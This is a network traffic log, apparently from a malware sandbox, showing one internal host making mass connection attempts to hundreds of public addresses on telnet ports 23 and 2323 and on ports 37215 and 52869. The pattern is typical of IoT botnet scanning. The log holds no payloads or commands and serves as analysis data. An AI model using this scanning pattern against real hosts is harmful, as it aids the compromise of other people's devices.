Dec 4, 2024 20:34:29.871767044 CET	60787	23	192.168.2.14	1.223.217.223
Dec 4, 2024 20:34:29.871773005 CET	60787	23	192.168.2.14	202.135.187.31
Dec 4, 2024 20:34:29.871778965 CET	60787	23	192.168.2.14	85.237.192.212
Dec 4, 2024 20:34:29.871778965 CET	60787	23	192.168.2.14	156.193.57.209
Dec 4, 2024 20:34:29.871781111 CET	60787	23	192.168.2.14	73.52.170.242
Dec 4, 2024 20:34:29.871797085 CET	60787	23	192.168.2.14	123.161.163.31
Dec 4, 2024 20:34:29.871798992 CET	60787	23	192.168.2.14	165.107.127.80
Dec 4, 2024 20:34:29.871799946 CET	60787	23	192.168.2.14	24.45.159.3
Dec 4, 2024 20:34:29.871808052 CET	60787	2323	192.168.2.14	142.1.49.168
Dec 4, 2024 20:34:29.871810913 CET	60787	23	192.168.2.14	74.107.15.110
Dec 4, 2024 20:34:29.871818066 CET	60787	23	192.168.2.14	207.161.211.58
Dec 4, 2024 20:34:29.871818066 CET	60787	23	192.168.2.14	109.111.248.142
Dec 4, 2024 20:34:29.871819973 CET	60787	23	192.168.2.14	68.168.2.51
Dec 4, 2024 20:34:29.871830940 CET	60787	23	192.168.2.14	59.153.39.23
Dec 4, 2024 20:34:29.871830940 CET	60787	23	192.168.2.14	222.38.186.58
Dec 4, 2024 20:34:29.871835947 CET	60787	23	192.168.2.14	115.125.240.106
Dec 4, 2024 20:34:29.871839046 CET	60787	23	192.168.2.14	157.223.77.130
Dec 4, 2024 20:34:29.871857882 CET	60787	23	192.168.2.14	167.107.108.19
Dec 4, 2024 20:34:29.871860981 CET	60787	2323	192.168.2.14	76.175.189.63
Dec 4, 2024 20:34:29.871860981 CET	60787	23	192.168.2.14	53.236.210.181
Dec 4, 2024 20:34:29.871865034 CET	60787	23	192.168.2.14	9.226.192.206
Dec 4, 2024 20:34:29.871866941 CET	60787	23	192.168.2.14	171.127.120.189
Dec 4, 2024 20:34:29.871871948 CET	60787	23	192.168.2.14	63.9.175.46
Dec 4, 2024 20:34:29.871879101 CET	60787	23	192.168.2.14	148.178.21.44
Dec 4, 2024 20:34:29.871880054 CET	60787	23	192.168.2.14	179.57.5.16
Dec 4, 2024 20:34:29.871880054 CET	60787	23	192.168.2.14	35.6.56.132
Dec 4, 2024 20:34:29.871881962 CET	60787	23	192.168.2.14	69.246.138.118
Dec 4, 2024 20:34:29.871889114 CET	60787	23	192.168.2.14	162.14.126.74
Dec 4, 2024 20:34:29.871891975 CET	60787	2323	192.168.2.14	210.153.24.164
Dec 4, 2024 20:34:29.871901989 CET	60787	23	192.168.2.14	68.87.238.90
Dec 4, 2024 20:34:29.871903896 CET	60787	23	192.168.2.14	221.159.195.31
Dec 4, 2024 20:34:29.871907949 CET	60787	23	192.168.2.14	99.165.32.221
Dec 4, 2024 20:34:29.871910095 CET	60787	23	192.168.2.14	79.37.166.32
Dec 4, 2024 20:34:29.871915102 CET	60787	23	192.168.2.14	46.177.132.20
Dec 4, 2024 20:34:29.871921062 CET	60787	23	192.168.2.14	108.24.192.229
Dec 4, 2024 20:34:29.871922016 CET	60787	23	192.168.2.14	94.72.47.26
Dec 4, 2024 20:34:29.871934891 CET	60787	23	192.168.2.14	108.85.50.95
Dec 4, 2024 20:34:29.871939898 CET	60787	2323	192.168.2.14	135.9.199.94
Dec 4, 2024 20:34:29.871939898 CET	60787	23	192.168.2.14	181.146.149.136
Dec 4, 2024 20:34:29.871941090 CET	60787	23	192.168.2.14	94.38.131.80
Dec 4, 2024 20:34:29.871948004 CET	60787	23	192.168.2.14	87.100.78.56
Dec 4, 2024 20:34:29.871952057 CET	60787	23	192.168.2.14	47.5.207.61
Dec 4, 2024 20:34:29.871964931 CET	60787	23	192.168.2.14	116.254.59.249
Dec 4, 2024 20:34:29.871964931 CET	60787	23	192.168.2.14	201.195.229.234
Dec 4, 2024 20:34:29.871969938 CET	60787	23	192.168.2.14	41.3.214.87
Dec 4, 2024 20:34:29.871970892 CET	60787	23	192.168.2.14	44.112.17.5
Dec 4, 2024 20:34:29.871973991 CET	60787	23	192.168.2.14	142.223.0.58
Dec 4, 2024 20:34:29.871982098 CET	60787	23	192.168.2.14	19.48.178.158
Dec 4, 2024 20:34:29.871983051 CET	60787	2323	192.168.2.14	133.82.199.61
Dec 4, 2024 20:34:29.871995926 CET	60787	23	192.168.2.14	207.153.178.71
Dec 4, 2024 20:34:29.871999979 CET	60787	23	192.168.2.14	179.157.212.121
Dec 4, 2024 20:34:29.872001886 CET	60787	23	192.168.2.14	82.236.176.225
Dec 4, 2024 20:34:29.872005939 CET	60787	23	192.168.2.14	93.14.244.147
Dec 4, 2024 20:34:29.872020006 CET	60787	23	192.168.2.14	43.194.232.111
Dec 4, 2024 20:34:29.872020006 CET	60787	23	192.168.2.14	159.182.3.30
Dec 4, 2024 20:34:29.872025967 CET	60787	23	192.168.2.14	94.190.95.5
Dec 4, 2024 20:34:29.872028112 CET	60787	23	192.168.2.14	99.96.250.92
Dec 4, 2024 20:34:29.872030973 CET	60787	23	192.168.2.14	23.40.185.17
Dec 4, 2024 20:34:29.872041941 CET	60787	2323	192.168.2.14	86.216.24.21
Dec 4, 2024 20:34:29.872045994 CET	60787	23	192.168.2.14	85.216.235.180
Dec 4, 2024 20:34:29.872051954 CET	60787	23	192.168.2.14	91.52.30.160
Dec 4, 2024 20:34:29.872065067 CET	60787	23	192.168.2.14	152.96.254.105
Dec 4, 2024 20:34:29.872065067 CET	60787	23	192.168.2.14	207.151.252.103
Dec 4, 2024 20:34:29.872071028 CET	60787	23	192.168.2.14	8.253.224.172
Dec 4, 2024 20:34:29.872073889 CET	60787	23	192.168.2.14	151.74.133.151
Dec 4, 2024 20:34:29.872080088 CET	60787	23	192.168.2.14	94.62.196.52
Dec 4, 2024 20:34:29.872090101 CET	60787	23	192.168.2.14	101.96.239.102
Dec 4, 2024 20:34:29.872093916 CET	60787	23	192.168.2.14	167.53.205.186
Dec 4, 2024 20:34:29.872095108 CET	60787	2323	192.168.2.14	41.4.70.208
Dec 4, 2024 20:34:29.872097015 CET	60787	23	192.168.2.14	147.44.216.218
Dec 4, 2024 20:34:29.872107983 CET	60787	23	192.168.2.14	136.41.77.146
Dec 4, 2024 20:34:29.872107983 CET	60787	23	192.168.2.14	216.211.202.2
Dec 4, 2024 20:34:29.872112036 CET	60787	23	192.168.2.14	112.188.189.219
Dec 4, 2024 20:34:29.872118950 CET	60787	23	192.168.2.14	218.22.97.248
Dec 4, 2024 20:34:29.872128963 CET	60787	23	192.168.2.14	61.64.16.134
Dec 4, 2024 20:34:29.872132063 CET	60787	23	192.168.2.14	204.172.212.208
Dec 4, 2024 20:34:29.872132063 CET	60787	23	192.168.2.14	5.122.249.243
Dec 4, 2024 20:34:29.872148991 CET	60787	23	192.168.2.14	43.238.6.77
Dec 4, 2024 20:34:29.872148991 CET	60787	2323	192.168.2.14	159.43.100.164
Dec 4, 2024 20:34:29.872152090 CET	60787	23	192.168.2.14	209.159.25.254
Dec 4, 2024 20:34:29.872153044 CET	60787	23	192.168.2.14	96.84.85.166
Dec 4, 2024 20:34:29.872153997 CET	60787	23	192.168.2.14	171.43.208.234
Dec 4, 2024 20:34:29.872153997 CET	60787	23	192.168.2.14	190.249.251.148
Dec 4, 2024 20:34:29.872158051 CET	60787	23	192.168.2.14	72.1.59.77
Dec 4, 2024 20:34:29.872160912 CET	60787	23	192.168.2.14	179.213.136.17
Dec 4, 2024 20:34:29.872162104 CET	60787	23	192.168.2.14	173.223.57.140
Dec 4, 2024 20:34:29.872173071 CET	60787	23	192.168.2.14	153.103.65.46
Dec 4, 2024 20:34:29.872179985 CET	60787	23	192.168.2.14	209.205.26.121
Dec 4, 2024 20:34:29.872179985 CET	60787	23	192.168.2.14	45.227.164.206
Dec 4, 2024 20:34:29.872183084 CET	60787	2323	192.168.2.14	182.51.247.45
Dec 4, 2024 20:34:29.872198105 CET	60787	23	192.168.2.14	218.92.179.201
Dec 4, 2024 20:34:29.872210979 CET	60787	23	192.168.2.14	120.164.111.135
Dec 4, 2024 20:34:29.872212887 CET	60787	23	192.168.2.14	4.14.243.118
Dec 4, 2024 20:34:29.872215033 CET	60787	23	192.168.2.14	89.129.21.194
Dec 4, 2024 20:34:29.872215033 CET	60787	23	192.168.2.14	69.19.229.206
Dec 4, 2024 20:34:29.872217894 CET	60787	23	192.168.2.14	5.237.250.147
Dec 4, 2024 20:34:29.872217894 CET	60787	23	192.168.2.14	187.94.30.212
Dec 4, 2024 20:34:29.872217894 CET	60787	23	192.168.2.14	105.33.194.70
Dec 4, 2024 20:34:29.872225046 CET	60787	23	192.168.2.14	31.214.34.43
Dec 4, 2024 20:34:29.872225046 CET	60787	23	192.168.2.14	218.55.216.152
Dec 4, 2024 20:34:29.872225046 CET	60787	2323	192.168.2.14	102.3.225.72
Dec 4, 2024 20:34:29.872225046 CET	60787	23	192.168.2.14	170.232.60.208
Dec 4, 2024 20:34:29.872236013 CET	60787	23	192.168.2.14	20.105.25.156
Dec 4, 2024 20:34:29.872237921 CET	60787	23	192.168.2.14	37.19.116.109
Dec 4, 2024 20:34:29.872237921 CET	60787	23	192.168.2.14	87.65.238.53
Dec 4, 2024 20:34:29.872251034 CET	60787	23	192.168.2.14	141.25.162.238
Dec 4, 2024 20:34:29.872256041 CET	60787	23	192.168.2.14	100.60.27.70
Dec 4, 2024 20:34:29.872261047 CET	60787	23	192.168.2.14	133.223.104.25
Dec 4, 2024 20:34:29.872262001 CET	60787	2323	192.168.2.14	13.78.124.112
Dec 4, 2024 20:34:29.872261047 CET	60787	23	192.168.2.14	120.112.96.208
Dec 4, 2024 20:34:29.872266054 CET	60787	23	192.168.2.14	118.219.155.212
Dec 4, 2024 20:34:29.872267962 CET	60787	23	192.168.2.14	208.29.197.220
Dec 4, 2024 20:34:29.872281075 CET	60787	23	192.168.2.14	117.227.47.191
Dec 4, 2024 20:34:29.872286081 CET	60787	23	192.168.2.14	97.181.35.181
Dec 4, 2024 20:34:29.872289896 CET	60787	23	192.168.2.14	4.180.223.238
Dec 4, 2024 20:34:29.872291088 CET	60787	23	192.168.2.14	113.23.102.119
Dec 4, 2024 20:34:29.872302055 CET	60787	23	192.168.2.14	121.249.173.171
Dec 4, 2024 20:34:29.872308016 CET	60787	23	192.168.2.14	1.179.253.2
Dec 4, 2024 20:34:29.872311115 CET	60787	2323	192.168.2.14	107.148.58.39
Dec 4, 2024 20:34:29.872317076 CET	60787	23	192.168.2.14	175.190.161.153
Dec 4, 2024 20:34:29.872322083 CET	60787	23	192.168.2.14	175.210.140.79
Dec 4, 2024 20:34:29.872323036 CET	60787	23	192.168.2.14	86.246.60.246
Dec 4, 2024 20:34:29.872337103 CET	60787	23	192.168.2.14	213.9.71.199
Dec 4, 2024 20:34:29.872337103 CET	60787	23	192.168.2.14	101.164.45.123
Dec 4, 2024 20:34:29.872344017 CET	60787	23	192.168.2.14	213.131.11.29
Dec 4, 2024 20:34:29.872349024 CET	60787	23	192.168.2.14	40.96.143.87
Dec 4, 2024 20:34:29.872349024 CET	60787	23	192.168.2.14	141.141.99.125
Dec 4, 2024 20:34:29.872359037 CET	60787	23	192.168.2.14	17.90.44.9
Dec 4, 2024 20:34:29.872361898 CET	60787	23	192.168.2.14	111.250.102.68
Dec 4, 2024 20:34:29.872361898 CET	60787	23	192.168.2.14	202.111.194.31
Dec 4, 2024 20:34:29.872361898 CET	60787	23	192.168.2.14	42.237.30.133
Dec 4, 2024 20:34:29.872365952 CET	60787	2323	192.168.2.14	204.140.25.164
Dec 4, 2024 20:34:29.872373104 CET	60787	23	192.168.2.14	116.155.171.91
Dec 4, 2024 20:34:29.872374058 CET	60787	23	192.168.2.14	156.149.138.232
Dec 4, 2024 20:34:29.872375965 CET	60787	23	192.168.2.14	65.156.9.211
Dec 4, 2024 20:34:29.872395039 CET	60787	23	192.168.2.14	81.113.223.44
Dec 4, 2024 20:34:29.872395039 CET	60787	23	192.168.2.14	88.134.249.81
Dec 4, 2024 20:34:29.872395039 CET	60787	23	192.168.2.14	94.139.39.122
Dec 4, 2024 20:34:29.872514963 CET	23	57274	144.88.5.55	192.168.2.14
Dec 4, 2024 20:34:29.872562885 CET	57274	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:29.872577906 CET	2323	39186	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:29.872592926 CET	23	55608	37.98.81.13	192.168.2.14
Dec 4, 2024 20:34:29.872628927 CET	39186	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:29.872638941 CET	55608	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:29.878590107 CET	46408	37215	192.168.2.14	41.132.108.110
Dec 4, 2024 20:34:29.878601074 CET	57972	37215	192.168.2.14	156.16.222.195
Dec 4, 2024 20:34:29.878601074 CET	43288	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:29.878601074 CET	36808	37215	192.168.2.14	41.14.72.174
Dec 4, 2024 20:34:29.878602028 CET	43588	37215	192.168.2.14	41.89.86.35
Dec 4, 2024 20:34:29.878607035 CET	42170	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:29.878607035 CET	54466	37215	192.168.2.14	197.36.131.169
Dec 4, 2024 20:34:29.878607035 CET	45896	37215	192.168.2.14	197.130.161.148
Dec 4, 2024 20:34:29.878607988 CET	50940	37215	192.168.2.14	197.248.198.178
Dec 4, 2024 20:34:29.878606081 CET	55474	23	192.168.2.14	199.72.243.77
Dec 4, 2024 20:34:29.878608942 CET	57020	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:29.878608942 CET	41274	37215	192.168.2.14	197.14.22.139
Dec 4, 2024 20:34:29.878608942 CET	37570	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:29.878608942 CET	50492	37215	192.168.2.14	41.76.128.125
Dec 4, 2024 20:34:29.878608942 CET	38270	37215	192.168.2.14	41.209.140.78
Dec 4, 2024 20:34:29.878612041 CET	40164	23	192.168.2.14	66.163.41.22
Dec 4, 2024 20:34:29.878609896 CET	46506	37215	192.168.2.14	156.17.223.166
Dec 4, 2024 20:34:29.878611088 CET	43310	37215	192.168.2.14	156.122.28.201
Dec 4, 2024 20:34:29.878611088 CET	42090	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:29.878611088 CET	60782	37215	192.168.2.14	197.66.42.187
Dec 4, 2024 20:34:29.878618002 CET	47842	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:29.878618002 CET	57020	37215	192.168.2.14	197.99.150.85
Dec 4, 2024 20:34:29.878618002 CET	56662	52869	192.168.2.14	156.199.251.203
Dec 4, 2024 20:34:29.878621101 CET	53526	52869	192.168.2.14	156.101.138.138
Dec 4, 2024 20:34:29.878621101 CET	41014	52869	192.168.2.14	41.113.109.146
Dec 4, 2024 20:34:29.878621101 CET	59956	37215	192.168.2.14	197.60.193.45
Dec 4, 2024 20:34:29.878621101 CET	41008	2323	192.168.2.14	203.20.182.112
Dec 4, 2024 20:34:29.878621101 CET	52774	52869	192.168.2.14	41.91.62.119
Dec 4, 2024 20:34:29.878621101 CET	32806	37215	192.168.2.14	41.246.105.213
Dec 4, 2024 20:34:29.878621101 CET	43672	52869	192.168.2.14	197.154.16.245
Dec 4, 2024 20:34:29.878621101 CET	55620	52869	192.168.2.14	197.193.229.83
Dec 4, 2024 20:34:29.878622055 CET	59636	52869	192.168.2.14	41.152.98.185
Dec 4, 2024 20:34:29.878621101 CET	39540	52869	192.168.2.14	197.168.102.205
Dec 4, 2024 20:34:29.878624916 CET	50896	37215	192.168.2.14	156.68.169.141
Dec 4, 2024 20:34:29.878624916 CET	59544	52869	192.168.2.14	156.117.216.181
Dec 4, 2024 20:34:29.878628016 CET	33732	52869	192.168.2.14	197.241.250.10
Dec 4, 2024 20:34:29.878634930 CET	32998	52869	192.168.2.14	41.74.212.165
Dec 4, 2024 20:34:29.878634930 CET	42102	52869	192.168.2.14	197.13.85.162
Dec 4, 2024 20:34:29.878634930 CET	58964	37215	192.168.2.14	197.196.118.52
Dec 4, 2024 20:34:29.878635883 CET	41356	52869	192.168.2.14	197.164.96.86
Dec 4, 2024 20:34:29.878638029 CET	51632	52869	192.168.2.14	197.9.119.228
Dec 4, 2024 20:34:29.878648043 CET	53186	52869	192.168.2.14	156.138.242.151
Dec 4, 2024 20:34:29.878648043 CET	50066	52869	192.168.2.14	197.112.39.52
Dec 4, 2024 20:34:29.878652096 CET	58426	52869	192.168.2.14	41.204.228.145
Dec 4, 2024 20:34:29.902664900 CET	37215	53292	41.16.199.204	192.168.2.14
Dec 4, 2024 20:34:29.902729034 CET	53292	37215	192.168.2.14	41.16.199.204
Dec 4, 2024 20:34:29.902793884 CET	60275	37215	192.168.2.14	156.24.242.132
Dec 4, 2024 20:34:29.902801037 CET	60275	37215	192.168.2.14	197.81.80.221
Dec 4, 2024 20:34:29.902806997 CET	60275	37215	192.168.2.14	156.59.36.199
Dec 4, 2024 20:34:29.902806997 CET	60275	37215	192.168.2.14	41.234.108.18
Dec 4, 2024 20:34:29.902827024 CET	60275	37215	192.168.2.14	156.67.209.51
Dec 4, 2024 20:34:29.902827978 CET	60275	37215	192.168.2.14	197.250.54.20
Dec 4, 2024 20:34:29.902829885 CET	37215	51564	156.151.128.175	192.168.2.14
Dec 4, 2024 20:34:29.902828932 CET	60275	37215	192.168.2.14	197.64.244.117
Dec 4, 2024 20:34:29.902829885 CET	60275	37215	192.168.2.14	41.245.55.69
Dec 4, 2024 20:34:29.902842045 CET	60275	37215	192.168.2.14	197.200.200.234
Dec 4, 2024 20:34:29.902842045 CET	37215	34774	41.181.147.225	192.168.2.14
Dec 4, 2024 20:34:29.902844906 CET	60275	37215	192.168.2.14	156.236.235.248
Dec 4, 2024 20:34:29.902853966 CET	37215	44568	156.165.42.93	192.168.2.14
Dec 4, 2024 20:34:29.902858973 CET	51564	37215	192.168.2.14	156.151.128.175
Dec 4, 2024 20:34:29.902867079 CET	37215	46408	197.42.34.155	192.168.2.14
Dec 4, 2024 20:34:29.902879000 CET	37215	33830	156.91.219.93	192.168.2.14
Dec 4, 2024 20:34:29.902872086 CET	34774	37215	192.168.2.14	41.181.147.225
Dec 4, 2024 20:34:29.902879953 CET	44568	37215	192.168.2.14	156.165.42.93
Dec 4, 2024 20:34:29.902894974 CET	37215	55010	156.52.39.116	192.168.2.14
Dec 4, 2024 20:34:29.902895927 CET	46408	37215	192.168.2.14	197.42.34.155
Dec 4, 2024 20:34:29.902901888 CET	60275	37215	192.168.2.14	197.30.93.43
Dec 4, 2024 20:34:29.902903080 CET	60275	37215	192.168.2.14	197.116.60.228
Dec 4, 2024 20:34:29.902915955 CET	33830	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:29.902929068 CET	55010	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:29.902931929 CET	60275	37215	192.168.2.14	41.191.215.101
Dec 4, 2024 20:34:29.902940035 CET	60275	37215	192.168.2.14	156.196.131.141
Dec 4, 2024 20:34:29.902941942 CET	60275	37215	192.168.2.14	156.104.165.37
Dec 4, 2024 20:34:29.902945995 CET	60275	37215	192.168.2.14	197.95.111.208
Dec 4, 2024 20:34:29.902945995 CET	60275	37215	192.168.2.14	156.209.132.159
Dec 4, 2024 20:34:29.902956009 CET	60275	37215	192.168.2.14	41.1.45.115
Dec 4, 2024 20:34:29.902961969 CET	60275	37215	192.168.2.14	156.110.238.230
Dec 4, 2024 20:34:29.902966976 CET	60275	37215	192.168.2.14	156.203.65.229
Dec 4, 2024 20:34:29.902971029 CET	60275	37215	192.168.2.14	156.183.115.180
Dec 4, 2024 20:34:29.902972937 CET	60275	37215	192.168.2.14	156.121.13.8
Dec 4, 2024 20:34:29.902980089 CET	60275	37215	192.168.2.14	197.5.21.42
Dec 4, 2024 20:34:29.902991056 CET	60275	37215	192.168.2.14	197.132.9.31
Dec 4, 2024 20:34:29.902991056 CET	60275	37215	192.168.2.14	156.249.67.156
Dec 4, 2024 20:34:29.902992010 CET	60275	37215	192.168.2.14	197.150.118.161
Dec 4, 2024 20:34:29.902997971 CET	60275	37215	192.168.2.14	156.9.29.194
Dec 4, 2024 20:34:29.902998924 CET	60275	37215	192.168.2.14	156.254.6.143
Dec 4, 2024 20:34:29.902998924 CET	60275	37215	192.168.2.14	197.12.172.213
Dec 4, 2024 20:34:29.902998924 CET	60275	37215	192.168.2.14	197.70.224.44
Dec 4, 2024 20:34:29.903002977 CET	60275	37215	192.168.2.14	197.199.126.238
Dec 4, 2024 20:34:29.903018951 CET	60275	37215	192.168.2.14	197.213.204.11
Dec 4, 2024 20:34:29.903022051 CET	60275	37215	192.168.2.14	156.202.30.49
Dec 4, 2024 20:34:29.903026104 CET	60275	37215	192.168.2.14	41.72.250.148
Dec 4, 2024 20:34:29.903027058 CET	60275	37215	192.168.2.14	41.51.124.185
Dec 4, 2024 20:34:29.903028965 CET	60275	37215	192.168.2.14	156.45.131.139
Dec 4, 2024 20:34:29.903049946 CET	60275	37215	192.168.2.14	156.218.100.188
Dec 4, 2024 20:34:29.903050900 CET	60275	37215	192.168.2.14	41.17.146.122
Dec 4, 2024 20:34:29.903050900 CET	60275	37215	192.168.2.14	197.183.118.19
Dec 4, 2024 20:34:29.903057098 CET	60275	37215	192.168.2.14	156.254.162.232
Dec 4, 2024 20:34:29.903057098 CET	60275	37215	192.168.2.14	156.18.28.205
Dec 4, 2024 20:34:29.903058052 CET	60275	37215	192.168.2.14	156.53.71.108
Dec 4, 2024 20:34:29.903059959 CET	60275	37215	192.168.2.14	197.71.244.98
Dec 4, 2024 20:34:29.903062105 CET	60275	37215	192.168.2.14	41.53.42.247
Dec 4, 2024 20:34:29.903067112 CET	60275	37215	192.168.2.14	197.115.109.41
Dec 4, 2024 20:34:29.903068066 CET	60275	37215	192.168.2.14	197.100.199.25
Dec 4, 2024 20:34:29.903073072 CET	60275	37215	192.168.2.14	197.242.211.174
Dec 4, 2024 20:34:29.903075933 CET	60275	37215	192.168.2.14	41.59.50.58
Dec 4, 2024 20:34:29.903083086 CET	60275	37215	192.168.2.14	197.24.100.245
Dec 4, 2024 20:34:29.903084040 CET	60275	37215	192.168.2.14	197.177.44.208
Dec 4, 2024 20:34:29.903086901 CET	60275	37215	192.168.2.14	197.152.177.67
Dec 4, 2024 20:34:29.903090954 CET	60275	37215	192.168.2.14	156.228.184.166
Dec 4, 2024 20:34:29.903095961 CET	60275	37215	192.168.2.14	41.116.39.213
Dec 4, 2024 20:34:29.903095961 CET	60275	37215	192.168.2.14	41.132.153.156
Dec 4, 2024 20:34:29.903100014 CET	60275	37215	192.168.2.14	156.5.50.69
Dec 4, 2024 20:34:29.903100967 CET	60275	37215	192.168.2.14	197.24.122.140
Dec 4, 2024 20:34:29.903103113 CET	60275	37215	192.168.2.14	156.145.226.229
Dec 4, 2024 20:34:29.903103113 CET	60275	37215	192.168.2.14	156.248.137.117
Dec 4, 2024 20:34:29.903110027 CET	60275	37215	192.168.2.14	41.125.32.8
Dec 4, 2024 20:34:29.903110027 CET	60275	37215	192.168.2.14	156.149.13.190
Dec 4, 2024 20:34:29.903116941 CET	60275	37215	192.168.2.14	197.4.217.96
Dec 4, 2024 20:34:29.903119087 CET	60275	37215	192.168.2.14	156.26.210.214
Dec 4, 2024 20:34:29.903132915 CET	60275	37215	192.168.2.14	41.211.237.239
Dec 4, 2024 20:34:29.903134108 CET	60275	37215	192.168.2.14	197.101.109.153
Dec 4, 2024 20:34:29.903139114 CET	60275	37215	192.168.2.14	156.75.116.40
Dec 4, 2024 20:34:29.903142929 CET	60275	37215	192.168.2.14	41.141.204.57
Dec 4, 2024 20:34:29.903142929 CET	60275	37215	192.168.2.14	197.34.41.120
Dec 4, 2024 20:34:29.903146982 CET	60275	37215	192.168.2.14	41.75.119.81
Dec 4, 2024 20:34:29.903156042 CET	60275	37215	192.168.2.14	41.188.32.201
Dec 4, 2024 20:34:29.903156042 CET	60275	37215	192.168.2.14	197.212.13.75
Dec 4, 2024 20:34:29.903165102 CET	60275	37215	192.168.2.14	197.205.85.33
Dec 4, 2024 20:34:29.903172970 CET	60275	37215	192.168.2.14	41.69.84.15
Dec 4, 2024 20:34:29.903172970 CET	60275	37215	192.168.2.14	41.20.71.227
Dec 4, 2024 20:34:29.903172970 CET	60275	37215	192.168.2.14	197.59.75.205
Dec 4, 2024 20:34:29.903172970 CET	60275	37215	192.168.2.14	41.85.100.43
Dec 4, 2024 20:34:29.903181076 CET	60275	37215	192.168.2.14	197.103.223.86
Dec 4, 2024 20:34:29.903181076 CET	60275	37215	192.168.2.14	41.61.186.157
Dec 4, 2024 20:34:29.903191090 CET	60275	37215	192.168.2.14	156.6.182.177
Dec 4, 2024 20:34:29.903198957 CET	60275	37215	192.168.2.14	41.218.8.133
Dec 4, 2024 20:34:29.903202057 CET	60275	37215	192.168.2.14	197.156.171.49
Dec 4, 2024 20:34:29.903206110 CET	60275	37215	192.168.2.14	156.223.66.168
Dec 4, 2024 20:34:29.903218031 CET	60275	37215	192.168.2.14	156.138.56.180
Dec 4, 2024 20:34:29.903220892 CET	60275	37215	192.168.2.14	156.87.190.86
Dec 4, 2024 20:34:29.903228998 CET	60275	37215	192.168.2.14	156.192.185.136
Dec 4, 2024 20:34:29.903239012 CET	60275	37215	192.168.2.14	156.114.139.28
Dec 4, 2024 20:34:29.903240919 CET	60275	37215	192.168.2.14	156.170.121.156
Dec 4, 2024 20:34:29.903240919 CET	60275	37215	192.168.2.14	156.17.102.57
Dec 4, 2024 20:34:29.903242111 CET	60275	37215	192.168.2.14	156.33.111.120
Dec 4, 2024 20:34:29.903240919 CET	60275	37215	192.168.2.14	156.223.152.15
Dec 4, 2024 20:34:29.903242111 CET	60275	37215	192.168.2.14	156.152.34.128
Dec 4, 2024 20:34:29.903245926 CET	60275	37215	192.168.2.14	197.176.230.252
Dec 4, 2024 20:34:29.903264046 CET	60275	37215	192.168.2.14	197.20.165.81
Dec 4, 2024 20:34:29.903266907 CET	60275	37215	192.168.2.14	197.104.131.203
Dec 4, 2024 20:34:29.903270006 CET	60275	37215	192.168.2.14	197.116.138.213
Dec 4, 2024 20:34:29.903270006 CET	60275	37215	192.168.2.14	197.35.203.156
Dec 4, 2024 20:34:29.903271914 CET	60275	37215	192.168.2.14	197.65.245.3
Dec 4, 2024 20:34:29.903275013 CET	60275	37215	192.168.2.14	156.185.127.121
Dec 4, 2024 20:34:29.903276920 CET	60275	37215	192.168.2.14	156.216.8.141
Dec 4, 2024 20:34:29.903276920 CET	60275	37215	192.168.2.14	41.124.157.17
Dec 4, 2024 20:34:29.903278112 CET	60275	37215	192.168.2.14	41.73.64.196
Dec 4, 2024 20:34:29.903276920 CET	60275	37215	192.168.2.14	156.103.140.151
Dec 4, 2024 20:34:29.903276920 CET	60275	37215	192.168.2.14	156.191.138.201
Dec 4, 2024 20:34:29.903287888 CET	60275	37215	192.168.2.14	156.198.240.148
Dec 4, 2024 20:34:29.903291941 CET	60275	37215	192.168.2.14	197.131.100.115
Dec 4, 2024 20:34:29.903295040 CET	60275	37215	192.168.2.14	197.3.227.100
Dec 4, 2024 20:34:29.903295040 CET	60275	37215	192.168.2.14	41.201.181.152
Dec 4, 2024 20:34:29.903295040 CET	60275	37215	192.168.2.14	41.232.114.46
Dec 4, 2024 20:34:29.903311014 CET	60275	37215	192.168.2.14	197.135.210.99
Dec 4, 2024 20:34:29.903322935 CET	60275	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:29.903328896 CET	60275	37215	192.168.2.14	197.186.254.30
Dec 4, 2024 20:34:29.903336048 CET	60275	37215	192.168.2.14	156.70.255.245
Dec 4, 2024 20:34:29.903336048 CET	60275	37215	192.168.2.14	197.184.205.55
Dec 4, 2024 20:34:29.903336048 CET	60275	37215	192.168.2.14	41.110.106.143
Dec 4, 2024 20:34:29.903340101 CET	60275	37215	192.168.2.14	197.37.37.201
Dec 4, 2024 20:34:29.903350115 CET	60275	37215	192.168.2.14	41.106.119.6
Dec 4, 2024 20:34:29.903351068 CET	60275	37215	192.168.2.14	41.120.227.136
Dec 4, 2024 20:34:29.903356075 CET	60275	37215	192.168.2.14	197.34.235.14
Dec 4, 2024 20:34:29.903357983 CET	60275	37215	192.168.2.14	41.155.156.91
Dec 4, 2024 20:34:29.903367043 CET	60275	37215	192.168.2.14	156.157.248.152
Dec 4, 2024 20:34:29.903373003 CET	60275	37215	192.168.2.14	41.89.170.13
Dec 4, 2024 20:34:29.903373003 CET	60275	37215	192.168.2.14	156.45.164.71
Dec 4, 2024 20:34:29.903381109 CET	60275	37215	192.168.2.14	197.132.224.17
Dec 4, 2024 20:34:29.903388023 CET	60275	37215	192.168.2.14	197.16.163.3
Dec 4, 2024 20:34:29.903389931 CET	60275	37215	192.168.2.14	197.137.124.179
Dec 4, 2024 20:34:29.903398991 CET	60275	37215	192.168.2.14	156.210.139.151
Dec 4, 2024 20:34:29.903402090 CET	60275	37215	192.168.2.14	41.98.99.10
Dec 4, 2024 20:34:29.903409958 CET	60275	37215	192.168.2.14	197.105.85.231
Dec 4, 2024 20:34:29.903419018 CET	60275	37215	192.168.2.14	156.70.183.48
Dec 4, 2024 20:34:29.903422117 CET	60275	37215	192.168.2.14	197.51.240.189
Dec 4, 2024 20:34:29.903429985 CET	60275	37215	192.168.2.14	156.150.86.253
Dec 4, 2024 20:34:29.903430939 CET	60275	37215	192.168.2.14	197.62.124.90
Dec 4, 2024 20:34:29.903443098 CET	60275	37215	192.168.2.14	197.255.205.125
Dec 4, 2024 20:34:29.903453112 CET	60275	37215	192.168.2.14	197.111.126.154
Dec 4, 2024 20:34:29.903451920 CET	60275	37215	192.168.2.14	197.56.228.70
